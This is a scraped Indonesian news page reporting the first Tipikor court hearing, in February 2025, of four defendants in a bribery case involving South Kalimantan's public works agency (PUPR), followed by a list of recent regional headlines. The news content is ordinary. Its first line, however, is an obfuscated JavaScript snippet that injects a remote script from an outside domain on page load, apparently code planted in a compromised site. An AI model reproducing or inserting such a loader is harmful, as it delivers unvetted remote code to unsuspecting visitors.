(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING! Empat Terdakwa Penerima Suap Proyek PUPR Kalsel Disidang


KANALKALIMANTAN.COM, BANJARMASIN – Terdakwa penerima suap proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalimantan Selatan menjalani sidag perdana di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Kamis (27/2/2025) siang.

Adalah Ahmad Solhan selaku mantan Kepala Dinas PUPR Kalsel, Yulinti Erlynah mantan Kabid Cipta Karya PUPR Kalsel, H Ahmad pihak swasta, Agustya Febry Andrean selaku mantan Kepala Laboratorium Bahan Kontruksi PUPR Kalsel sekaligus mantan Kabag Rumah Tangga Sekretariat Provinsi Kalsel.

Keempat terdakwa hadir di Pengadilan Tipikor setelah dijemput dari tahanan Direktorat Tahanan dan Penitipan (Tahti) Polda Kalsel, di Banjarmasin.

Sidang dipimpin ketua majelis hakim Cahyono Riza Adrinato, bersama dua hakim anggota Indra Meinantha Vidi dan Arif Winarno. Masing-masing terdakwa juga didampingi penasihat hukum.

Baca juga: Soal BBM Oplosan Bos Pertamina Masih Belum Percaya

“Hari ini sidang dengan agenda pembacaan surat dakwaan,” kata Hakim Cahyono membuka sidang.

Sidang dengan agenda pembacaan surat dakwaan oleh Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK) dilakukan secara terpisah.

Terdakwa Yulianti Erlyanah yang menjalani persidangan di Pengadilan Tindak Pidana. korupsi Banjarmasin, Kamis (27/2/2025) siang. Foto: rizki

Agustya Febry menjadi terdakwa pertama yang disidang, kemudian dilanjutkan Yulianti Erlynah.

Baca juga: Penyambungan Pipa, Distrbusi Air di Banjarmasin Selatan Disetop

Dalam dakwaannya, JPU mendakwa Agustya Febry dengan Pasal 12 B Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 KUHP.

Begitu juga Yulianti Erlynah didakwa dengan Pasal 12 B Undang-undang Tipikor tentang pemberian gratifikasi kepada pegawai negeri.

JPU KPK juga memasang dakwaan alternatif kedua yaitu Pasal 13 Undang-undang Tindak Pidana Korupsi jo Pasal 55 ayat (1) KUHP.

Sebelumnya Operasi Tangkap Tangan (OTT) KPK di Kalsel menyasar sejumlah pejabat Pemprov Kalsel dan pihak swasta.

Baca juga: Cek Embarkasi Haji Banjarmasin, Komisi VIII DPR RI: 2024 Garuda Indonesia 2025 Lion Air, Petugas Dipangkas

Saat OTT, KPK mengamankan barang bukti uang tunai sekitar Rp 12 miliar (Rp12.113.160.000) serta 500 dolar Amerika Serikat.

Dalam kasus ini, dua kontraktor yang memberikan suap sebesar Rp1 miliar, Andi Susanto dan Sugeng Wahyudi sudah menjalani persidangan di Pengadilan Tipikor Banjarmasin dan sudah sidang tuntutan.

Oleh JPU, keduanya dituntut masing-masing dengan pidana penjara 3 tahun 5 bulan serta denda Rp250 juta subsider 6 bulan kurungan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

51 menit ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

1 jam ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

4 jam ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

1 hari ago

Sajian Makan Bersama Warga Setelah Salat Ied

KANALKALIMANTAN.COM, BANJARBARU - Momen Hari Raya Idulfitri di Kota Banjarbaru dimanfaatkan salah satu warga Kelurahan… Read More

1 hari ago

YBM Bersama Srikandi PLN Berbagi Berkah Ramadan kepada Mustahik di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Jelang Idulfitri 1446 Hijriyah, Yayasan Baitul Ma'al (YBM) dan Srikandi PT PLN… Read More

2 hari ago